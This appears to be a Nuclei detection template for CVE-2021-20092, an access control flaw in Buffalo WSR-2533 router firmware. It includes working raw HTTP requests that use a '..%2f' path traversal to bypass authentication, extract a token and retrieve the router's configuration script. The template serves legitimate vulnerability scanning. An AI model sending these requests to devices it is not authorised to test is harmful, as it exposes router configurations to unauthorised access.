66 lines
2.0 KiB
YAML
66 lines
2.0 KiB
YAML
id: CVE-2021-20092
|
|
|
|
info:
|
|
name: Buffalo WSR-2533DHPL2 - Improper Access Control
|
|
author: gy741,pdteam,parth
|
|
severity: high
|
|
description: |
|
|
The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly restrict access to sensitive information from an unauthorized actor.
|
|
remediation: |
|
|
Apply the latest firmware update provided by Buffalo to fix the access control issue.
|
|
reference:
|
|
- https://www.tenable.com/security/research/tra-2021-13
|
|
- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-20091
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2021-20092
|
|
cwe-id: CWE-287
|
|
epss-score: 0.01372
|
|
epss-percentile: 0.84606
|
|
cpe: cpe:2.3:o:buffalo:wsr-2533dhpl2-bk_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: buffalo
|
|
product: wsr-2533dhpl2-bk_firmware
|
|
tags: cve,cve2021,buffalo,firmware,iot,tenable
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /images/..%2finfo.html HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Referer: {{BaseURL}}/info.html
|
|
- |
|
|
GET /images/..%2fcgi/cgi_i_filter.js?_tn={{trimprefix(base64_decode(httoken), base64_decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"))}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: lang=8; url=ping.html; mobile=false;
|
|
Referer: {{BaseURL}}/info.html
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/x-javascript"
|
|
|
|
- type: word
|
|
words:
|
|
- "/*DEMO*/"
|
|
- "addCfg("
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: httoken
|
|
group: 1
|
|
regex:
|
|
- 'base64\,(.*?)" border='
|
|
internal: true
|